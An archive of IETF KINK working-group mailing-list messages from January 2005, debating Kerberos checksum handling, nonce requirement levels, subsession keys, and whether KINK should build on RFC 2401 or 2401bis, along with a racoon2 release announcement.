(envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 2C30811 for ; Thu, 27 Jan 2005 17:15:46 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1pagmQ; Thu, 27 Jan 2005 17:15:46 +0900 (JST) Date: Thu, 27 Jan 2005 17:16:45 +0900 Message-ID: <20050127171645FM%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Checksum (Re: KINK issue list) In-Reply-To: <20050120110448RR%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 20 Jan 2005 11:04:48 +0900, "KAMADA Ken'ichi" wrote: > > [**] etype does not directly indicate checksum type (section 5) > > a key's encryption type does not directly indicate > a checksum type, it indicates an encryption(-with-integrity-protection) > scheme, which does include a required-to-implement checksum type > (Ken Raeburn) > > [**] Kerberos allows variable length checksum (section 5) > > I'd have to go back and check, but I don't think we require that > a given checksum type have a fixed output size, so "leave X amount of > space and fill it with zero for computing the checksum" is questionable > too. (Ken Raeburn) > > [*] Kerberos checksum is not deterministic (section 5) With regard to these three issues, I'd propose using HMAC as a KINK checksum. According to kcrypto, each etype based on simplified profile and etype based on 3DES has a HMAC as its attribute. Let's use it as is. DES-based etypes (des-cbc-md5, des-cbc-md4, and des-cbc-crc) have no HMAC associated with them, so use HMAC-MD5. My main concern with this proposal is whether all future etypes will be based on simplified profile (have HMAC, I mean) or not. -- KAMADA Ken'ichi From owner-ietf-kink Thu Jan 27 00:13:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R8DpGj067056; Thu, 27 Jan 2005 00:13:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0R8DpJ8067055; Thu, 27 Jan 2005 00:13:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R8Dpoa066898 for ; Thu, 27 Jan 2005 00:13:51 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id E43F711 for ; Thu, 27 Jan 2005 17:13:41 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3aJqzJ; Thu, 27 Jan 2005 17:13:41 +0900 (JST) Date: Thu, 27 Jan 2005 17:14:41 +0900 Message-ID: <20050127171441FF%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Responder's nonce when 3-way (Re: KINK issue list) In-Reply-To: <20050120110448RR%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 20 Jan 2005 11:04:48 +0900, "KAMADA Ken'ichi" wrote: > > [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) > > Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the > nonce should be used. If the circumstances they're describing are > different, that's okay, but if so, I missed it on first reading. > (Ken Raeburn) They are talking the same situation and the requirement levels should be aligned. I think SHOULD is appropriate because non-returning responder's nonce does not break interoperabilities. -- KAMADA Ken'ichi From owner-ietf-kink Thu Jan 27 00:16:05 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R8G5XK069109; Thu, 27 Jan 2005 00:16:05 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0R8G5nd069108; Thu, 27 Jan 2005 00:16:05 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0R8G4ns069090 for ; Thu, 27 Jan 2005 00:16:05 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 37DE21B for ; Thu, 27 Jan 2005 17:16:04 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0DtEw1; Thu, 27 Jan 2005 17:16:04 +0900 (JST) Date: Thu, 27 Jan 2005 17:17:03 +0900 Message-ID: <20050127171703FZ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Subsession keys (Re: KINK issue list) In-Reply-To: <20050120110448RR%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 20 Jan 2005 11:04:48 +0900, "KAMADA Ken'ichi" wrote: > > [*] Subsession keys (section 5 and 8) > > Are subsession keys ignored? (Ken Raeburn) I think they should not be ignored. -- KAMADA Ken'ichi From owner-ietf-kink Thu Jan 27 07:34:09 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0RFY9EN027388; Thu, 27 Jan 2005 07:34:09 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0RFY9k6027387; Thu, 27 Jan 2005 07:34:09 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0RFY7cW027377 for ; Thu, 27 Jan 2005 07:34:08 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j0RFY6rv021849; Thu, 27 Jan 2005 10:34:06 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j0RFY3W5028985 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Thu, 27 Jan 2005 10:34:04 -0500 (EST) In-Reply-To: <20050127171645FM%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171645FM%kamada@nanohz.org> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <71f7d1221376acbc8485b84b11f8aaf4@mit.edu> Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: Checksum (Re: KINK issue list) Date: Thu, 27 Jan 2005 10:34:03 -0500 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.619.2) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 27, 2005, at 03:16, KAMADA Ken'ichi wrote: > With regard to these three issues, I'd propose using HMAC as a KINK > checksum. > According to kcrypto, each etype based on simplified profile and > etype based on 3DES has a HMAC as its attribute. Let's use it as is. > DES-based etypes (des-cbc-md5, des-cbc-md4, and des-cbc-crc) have > no HMAC associated with them, so use HMAC-MD5. > > My main concern with this proposal is whether all future etypes > will be based on simplified profile (have HMAC, I mean) or not. I think it's safe to say that eventually we will see new encryption types that do not use the simplified profile. We may also see some that do, of course. But with the variety of authenticated-encryption modes being produced and analyzed, it would make sense for us to stop constructing our own. So I'd expect some future cryptosystem to be based on EAX, CCM, or some other such mode. In order for KINK to not require updates for these future cryptosystems, you'd need to be able to say now how to determine what kind of checksum is to be used. The only tricky issue in dealing with the required-to-implement checksum type should be the lack of a fixed size output. Is it that hard to work around? (Maybe omit the checksum field when computing the checksum?) Ken From owner-ietf-kink Thu Jan 27 16:15:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S0FZEL069913; Thu, 27 Jan 2005 16:15:43 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S0FIgj069894; Thu, 27 Jan 2005 16:15:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S0F0DO069864 for ; Thu, 27 Jan 2005 16:15:11 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id B0A665 for ; Fri, 28 Jan 2005 09:14:57 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2ltRVB; Fri, 28 Jan 2005 09:14:57 +0900 (JST) Date: Fri, 28 Jan 2005 09:15:57 +0900 Message-ID: <20050128091557FT%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Checksum In-Reply-To: <20050128.090733.10900832.nov@tahi.org> References: <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171645FM%kamada@nanohz.org> <20050128.090733.10900832.nov@tahi.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 28 Jan 2005 09:07:33 +0900 (JST), Nobuo OKABE wrote: > > However, could you please assign serial number or something identity > to every issue? It helps discussions. I get it and will do. Thanks -- KAMADA Ken'ichi From owner-ietf-kink Thu Jan 27 16:06:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S06aPq069208; Thu, 27 Jan 2005 16:06:36 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S06asr069207; Thu, 27 Jan 2005 16:06:36 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S06ZJs069164 for ; Thu, 27 Jan 2005 16:06:35 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id CD9355 for ; Fri, 28 Jan 2005 09:06:17 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4nWanj; Fri, 28 Jan 2005 09:06:17 +0900 (JST) Date: Fri, 28 Jan 2005 09:07:16 +0900 Message-ID: <20050128090716FA%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Checksum (Re: KINK issue list) In-Reply-To: <71f7d1221376acbc8485b84b11f8aaf4@mit.edu> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171645FM%kamada@nanohz.org> <71f7d1221376acbc8485b84b11f8aaf4@mit.edu> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Thank you for your comments. At Thu, 27 Jan 2005 10:34:03 -0500, Ken Raeburn wrote: > > On Jan 27, 2005, at 03:16, KAMADA Ken'ichi wrote: > > My main concern with this proposal is whether all future etypes > > will be based on simplified profile (have HMAC, I mean) or not. > > I think it's safe to say that eventually we will see new encryption > types that do not use the simplified profile. We may also see some > that do, of course. But with the variety of authenticated-encryption > modes being produced and analyzed, it would make sense for us to stop > constructing our own. So I'd expect some future cryptosystem to be > based on EAX, CCM, or some other such mode. > > In order for KINK to not require updates for these future > cryptosystems, you'd need to be able to say now how to determine what > kind of checksum is to be used. I agree. > The only tricky issue in dealing with the required-to-implement > checksum type should be the lack of a fixed size output. Is it that > hard to work around? (Maybe omit the checksum field when computing the > checksum?) I think it's not so hard in itself. When computing the checksum, we will need to 1) omit the checksum field (splicing the header and payloads directly), 2) zero out the Length and CksumLen fields because we can't know those lengthes in advance. My consern/questions are - 2) makes me nervous because I don't know whether it makes some kinds of attacks easy (e.g. adding junk data at the end of payloads in order to collide the checksum). - Will required-to-implement checksums never change in the future? - Thinking about 1), placing the checksum at the end of the packet is more reasonable? BTW, is a statement like "KINK does not support encryption types with such variable length checksums" reasonable in the sense of Kerberos? Is there any such checksums at this moment? -- KAMADA Ken'ichi From owner-ietf-kink Thu Jan 27 16:08:00 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S080pL069406; Thu, 27 Jan 2005 16:08:00 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S080Rx069405; Thu, 27 Jan 2005 16:08:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S07xac069364 for ; Thu, 27 Jan 2005 16:07:59 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id BA56F1FBC2; Fri, 28 Jan 2005 09:07:42 +0900 (JST) Date: Fri, 28 Jan 2005 09:07:33 +0900 (JST) Message-Id: <20050128.090733.10900832.nov@tahi.org> To: kamada@nanohz.org Cc: ietf-kink@vpnc.org Subject: Re: Checksum From: Nobuo OKABE In-Reply-To: <20050127171645FM%kamada@nanohz.org> References: <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171645FM%kamada@nanohz.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: kamada-san, Sorry, this is not a comment for your mail. However, could you please assign serial number or something identity to every issue? It helps discussions. From: "KAMADA Ken'ichi" Subject: Checksum (Re: KINK issue list) Date: Thu, 27 Jan 2005 17:16:45 +0900 > > At Thu, 20 Jan 2005 11:04:48 +0900, > "KAMADA Ken'ichi" wrote: > > > > [**] etype does not directly indicate checksum type (section 5) > > > > a key's encryption type does not directly indicate > > a checksum type, it indicates an encryption(-with-integrity-protection) > > scheme, which does include a required-to-implement checksum type > > (Ken Raeburn) > > > > [**] Kerberos allows variable length checksum (section 5) > > > > I'd have to go back and check, but I don't think we require that > > a given checksum type have a fixed output size, so "leave X amount of > > space and fill it with zero for computing the checksum" is questionable > > too. (Ken Raeburn) > > > > [*] Kerberos checksum is not deterministic (section 5) > > With regard to these three issues, I'd propose using HMAC as a KINK > checksum. > According to kcrypto, each etype based on simplified profile and > etype based on 3DES has a HMAC as its attribute. Let's use it as is. > DES-based etypes (des-cbc-md5, des-cbc-md4, and des-cbc-crc) have > no HMAC associated with them, so use HMAC-MD5. > > My main concern with this proposal is whether all future etypes > will be based on simplified profile (have HMAC, I mean) or not. ----- nobuo From owner-ietf-kink Thu Jan 27 17:48:06 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S1m6DH077534; Thu, 27 Jan 2005 17:48:06 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S1m67I077533; Thu, 27 Jan 2005 17:48:06 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S1m5lX077527 for ; Thu, 27 Jan 2005 17:48:05 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j0S1m1eY005572; Thu, 27 Jan 2005 20:48:01 -0500 (EST) Received: from [18.18.1.76] (KEN-WIRELESS.MIT.EDU [18.18.1.76]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j0S1lv0a011752 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Thu, 27 Jan 2005 20:47:58 -0500 (EST) In-Reply-To: <20050128090716FA%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171645FM%kamada@nanohz.org> <71f7d1221376acbc8485b84b11f8aaf4@mit.edu> <20050128090716FA%kamada@nanohz.org> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <4862abd2ff60e5469610a75831516214@mit.edu> Content-Transfer-Encoding: 7bit Cc: ietf-kink@vpnc.org From: Ken Raeburn Subject: Re: Checksum (Re: KINK issue list) Date: Thu, 27 Jan 2005 20:47:56 -0500 To: "KAMADA Ken'ichi" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 27, 2005, at 19:07, KAMADA Ken'ichi wrote: > 1) omit the checksum field (splicing the header and payloads directly), > 2) zero out the Length and CksumLen fields because we can't know > those lengthes in advance. > > My consern/questions are > - 2) makes me nervous because I don't know whether it makes some > kinds of attacks easy (e.g. adding junk data at the end of payloads > in order to collide the checksum). How about including length-without-checksum in the calculation of the checksum, instead of a zero? > - Will required-to-implement checksums never change in the future? I believe that's the case. The required-to-implement field was intended to deal with the lack of checksum negotiation in Kerberos. We assert that if you know encryption type X is supported, then you know that checksum type Y is also supported, and thus you're free to use it. If we go back and change it, we'd be retroactively changing the implementation requirements of code (theoretically) already deployed. It might not hurt to include the checksum type anyways. > - Thinking about 1), placing the checksum at the end of the packet > is more reasonable? It might be, yes. > BTW, is a statement like "KINK does not support encryption types with > such variable length checksums" reasonable in the sense of Kerberos? I would lean towards "no", because it makes things more complex and treats Kerberos as less of a black box. I suppose it's possible, but in my opinion should be avoided. > Is there any such checksums at this moment? None outside my imagination. I could write one up if you like. :-) This one would be easy enough: confounder = random 128-bit block h = HMAC-SHA512(confounder | key-usage | msg, key) len = random multiple of 8 between 128 and 512 checksum = confounder | h[1..len] It's non-deterministic, and the length varies from 256 to 640 bits. I'd have to check, but offhand I think it would comply with the Kerberos checksum requirements. Ken From owner-ietf-kink Thu Jan 27 19:39:38 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S3dci1086203; Thu, 27 Jan 2005 19:39:38 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S3dcdx086202; Thu, 27 Jan 2005 19:39:38 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S3dWx7086193 for ; Thu, 27 Jan 2005 19:39:37 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j0S3dhhB083302 for ; Fri, 28 Jan 2005 12:39:44 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: racoon2 release X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050128124009Y.sakane@kame.net> Date: Fri, 28 Jan 2005 12:40:09 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 19 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: This is from the racoon2 project. We are ready to release "racoon2" a IPsec key management system. "racoon2" is a system to exchange and to install security parameters for the IPsec. This is provided by the Racoon2 Project in the WIDE Project, Japan. The project aims to provide the IPsec system for FreeBSD, NetBSD and Linux. We have removed our IKEv2 code from the release because we have an IPR issue related to IKEv2. We will release it after the issue will be solved. KINK is only supported in the release currently. You can get the tarball from: ftp://ftp.kame.net/pub/racoon2/racoon2-20050128b.tgz Please ask to racoon2@kame.net if you have any question. regards, From owner-ietf-kink Thu Jan 27 21:18:31 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S5IU62092344; Thu, 27 Jan 2005 21:18:31 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S5IU0I092343; Thu, 27 Jan 2005 21:18:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S5IPO9092326 for ; Thu, 27 Jan 2005 21:18:25 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:25ec:ada6:9996:e961] ([2001:240:2:0:25ec:ada6:9996:e961]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Fri, 28 Jan 2005 14:17:53 +0900 id 00007D92.41F9CB01.000056B2 Message-ID: <41F9CAE7.3070301@miyazawa.org> Date: Fri, 28 Jan 2005 14:17:27 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Shoichi Sakane CC: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? References: <20050127143507Z.sakane@kame.net> In-Reply-To: <20050127143507Z.sakane@kame.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Shoichi Sakane wrote: >>Speaking as an AD, if 2401bis is approved by IETF 62, Kink will be >>based on 2401bis. If not, then it depends on where 2401bis is, where >>Kink is, and how fast things are moving. > > > I dont understand why KINK will be based on 2401bis when 2401bis > is approved by IETF62. There are lots of platforms based on 2401. > KINK should be based on 2401 in order to deploy it. If the market > will not choice 2401bis and if a kink implementation based on 2401bis > does not work on a platform based on 2401, then KINK will not deploy. > > it is not easy to know how difference between 2401bis and 2401, > and it is not easy to know if a key management daemon based on > 2401bis will work on a platform based on 2401. so I said in previous > mail that we should make kink based on 2401 then make kink based on > 2401bis. kink header has a version field. > I agree with Sakane-san. I think if kink is based on 2401bis, it would use IKEv2 instead of ISAKMP. If it uses IKEv2, I guess there are conflicts which are rekeying and dead peer handling because IKEv1 does not mention those process and KINK specifies it by it self. Changing for IKEv2 and resolving new issues need a long time. I think we should go with 2401. -- Kazunori Miyazawa From owner-ietf-kink Thu Jan 27 23:22:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S7Mobx024580; Thu, 27 Jan 2005 23:22:50 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S7Mogl024579; Thu, 27 Jan 2005 23:22:50 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S7MnHH024567 for ; Thu, 27 Jan 2005 23:22:50 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 4271F1FBC2; Fri, 28 Jan 2005 15:08:04 +0900 (JST) Date: Fri, 28 Jan 2005 15:08:03 +0900 (JST) Message-Id: <20050128.150803.10289869.nov@tahi.org> To: kazunori@miyazawa.org Cc: sakane@kame.net, ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? From: Nobuo OKABE In-Reply-To: <41F9CAE7.3070301@miyazawa.org> References: <20050127143507Z.sakane@kame.net> <41F9CAE7.3070301@miyazawa.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Kazunori Miyazawa Subject: Re: KINK should referenece to IKEv2? Date: Fri, 28 Jan 2005 14:17:27 +0900 > > Shoichi Sakane wrote: > >>Speaking as an AD, if 2401bis is approved by IETF 62, Kink will be > >>based on 2401bis. If not, then it depends on where 2401bis is, where > >>Kink is, and how fast things are moving. > > > > > > I dont understand why KINK will be based on 2401bis when 2401bis > > is approved by IETF62. There are lots of platforms based on 2401. > > KINK should be based on 2401 in order to deploy it. If the market > > will not choice 2401bis and if a kink implementation based on 2401bis > > does not work on a platform based on 2401, then KINK will not deploy. > > > > it is not easy to know how difference between 2401bis and 2401, > > and it is not easy to know if a key management daemon based on > > 2401bis will work on a platform based on 2401. so I said in previous > > mail that we should make kink based on 2401 then make kink based on > > 2401bis. kink header has a version field. > > > > I agree with Sakane-san. > > I think if kink is based on 2401bis, it would use IKEv2 instead of ISAKMP. > If it uses IKEv2, I guess there are conflicts which are rekeying and dead peer > handling because IKEv1 does not mention those process and KINK specifies it by > it self. Changing for IKEv2 and resolving new issues need a long time. > I think we should go with 2401. I also agree with 